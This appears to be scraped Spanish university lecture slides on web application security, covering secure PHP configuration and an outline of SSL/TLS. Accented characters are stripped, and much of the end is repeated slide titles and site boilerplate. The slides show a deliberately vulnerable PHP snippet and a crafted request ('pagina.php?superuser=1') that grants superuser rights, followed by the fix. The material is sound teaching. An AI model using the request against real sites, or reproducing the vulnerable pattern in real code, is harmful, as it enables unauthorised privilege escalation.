Para evitar o al menos disminuir las vulnerabilidades de una aplicacin web es muy importante seguir unas correctas prcticas de programacin. Veamos algunas de las ms importantes: Inicializacin de variables Gestin de errores Proteccin de informacin
122

Inicializacin de variables
Sea el siguiente cdigo:
if (comprueba_privilegios()) $superuser = true;
Una llamada de la forma
pagina.php?superuser=1
permitira obtener privilegios de superusuario. Este problema se soluciona dando un valor inicial a la variable $superuser:
$superuser = false; if (comprueba_privilegios()) $superuser = true;
123

En general es recomendable inicializar todas las variables antes de usarlas En PHP se puede usar la directiva error_reporting=E_ALL que hace que se muestre un mensaje de aviso cuando se use una variable que no haya sido previamente inicializada
124

Tambin se puede deshabilitar register_globals en el fichero php.ini La directiva register_globals establece si se admite o no la creacin automtica de variables globales A partir de PHP 4.2.0 el valor por defecto de esta directiva es off, que es el valor recomendable Para acceder a las variables globales se deben utilizar los arrays globales $_SERVER, $_ENV, $_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES, $_SESSION y $_GLOBALS
125

PHP crea automticamente variables globales a partir del entorno (E), las cookies (C), la informacin del servidor (S) y los parmetros GET (G) y POST (P) La directiva variables_order controla el orden de estas variables. El valor por defecto es EGPCS Permitir la creacin de variables globales desde parmetros GET y POST y desde cookies es potencialmente peligroso. Un posible valor para variables_order que evita esto es ES En tal caso para acceder a los parmetros de los formularios y a las cookies hay que usar los arrays globales $_REQUEST, $_GET, $_POST y $_COOKIE

Ejercicio: error en la autentificacin de usuarios
127

Gestin de errores
Los mensajes de error son una fuente de informacin muy importante para los atacantes. Pueden proporcionar informacin sensible que les permita refinar sus ataques En un entorno de produccin debe evitarse la aparicin de mensajes de aviso o error. En PHP se pueden utilizar las siguientes directivas en php.ini:
display_errors = off log_errors = on error_log = /var/log/php_errors.log
Los errores irn al fichero especificado en lugar de mostrarse en la pantalla


Gestin de errores
Ejercicio: localizacin de pginas con errores
129

Proteccin de informacin
Toda informacin sensible debe almacenarse por separado del programa que la utiliza y preferentemente en un directorio situado fuera del rbol de directorios de la Web para evitar que pueda ser accedida por su URL En PHP se puede hacer indicando la ruta completa de los ficheros en las funciones include() y require() o mediante la directiva include_path en php.ini: De esta forma, aunque se revele el cdigo fuente de los programas, no se mostrar informacin que comprometa al sistema
include_path = .:/usr/local/php:/usr/local/lib/myapp

Debe evitarse utilizar en el cdigo comentarios que den demasiados detalles acerca del funcionamiento del programa. Puede ser conveniente eliminarlos en la versin de produccin de la aplicacin Hay que suprimir las rdenes de depuracin colocadas en el cdigo durante su desarrollo Deben protegerse los ficheros que tengan el acceso restringido. Para ello no basta con suprimir los enlaces al fichero; alguien podra dar con su nombre y obtenerlo directamente escribiendo su URL. La seguridad a travs de la oscuridad no funciona

Ejercicio: revelacin de informacin en el cdigo fuente
132
Contenido

el el la la
133
Seguridad en la Comunicacin

SSL
SSL (Secure Socket Layer) es un protocolo para asegurar el transporte de datos entre el cliente y el servidor web. Diseado inicialmente por Netscape, hoy da es soportado por la mayora de los servidores web Podemos reconocer una conexin HTTP sobre SSL porque aparece el prefijo https en lugar de http en la URL
134

SSL
La versin actual de SSL es la 3 y a partir de ella se est desarrollando un protocolo pblico por parte del Internet Engineering Task Force (IETF), que se conoce como TLS (Transport Layer Security) y es compatible con SSL
135

SSL
SSL no es un protocolo simple sino que tiene dos niveles de protocolos El protocolo Record proporciona servicios de seguridad bsica a varios protocolos de nivel ms alto, entre ellos HTTP
136

SSL
SSL proporciona una comunicacin segura entre cliente y servidor permitiendo la autentificacin mutua, el uso de firmas digitales y garantizando la privacidad mediante encriptacin. Una sesin SSL se establece segn una secuencia de operaciones
137

SSL
138

SSL
139

Prctica 5: SSL en Apache
Creacin de un certificado digital Configuracin de Apache para utilizar el certificado en una conexin SSL
140

Get

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Get

Cargado por

Copyright:

Formatos disponibles

Seguridad en Sistemas Informticos e Internet

Seguridad en las Aplicaciones Web

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Seguridad en Seguridad en Seguridad en Seguridad en

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Introduccin Seguridad en el Cliente

Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Introduccin Seguridad en el Cliente Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Seguridad en Sistemas Informticos e Internet

Introduccin Seguridad en el Cliente Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin

Seguridad en Sistemas Informticos e Internet

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

2. Autentificacin bsica HTTP

Seguridad en Sistemas Informticos e Internet

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Cunta seguridad es necesaria?

Seguridad en Sistemas Informticos e Internet

Amenazas ms importantes: Top 10

Seguridad en Sistemas Informticos e Internet

Top Ten de amenazas

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Lenguajes de Macro: VBA

Seguridad en Sistemas Informticos e Internet

Lenguajes de Macro: VBA

Seguridad en Sistemas Informticos e Internet

Lenguajes de Macro: VBA

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Prctica 1: Cdigo mvil

Seguridad en Sistemas Informticos e Internet

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Servidor Web Servidor de Bases de Datos Lenguajes de servidor

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Ejercicio: Configuracin de Apache

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Ejercicio: Ficheros de log en Apache

Seguridad en Sistemas Informticos e Internet

Servidor de Bases de Datos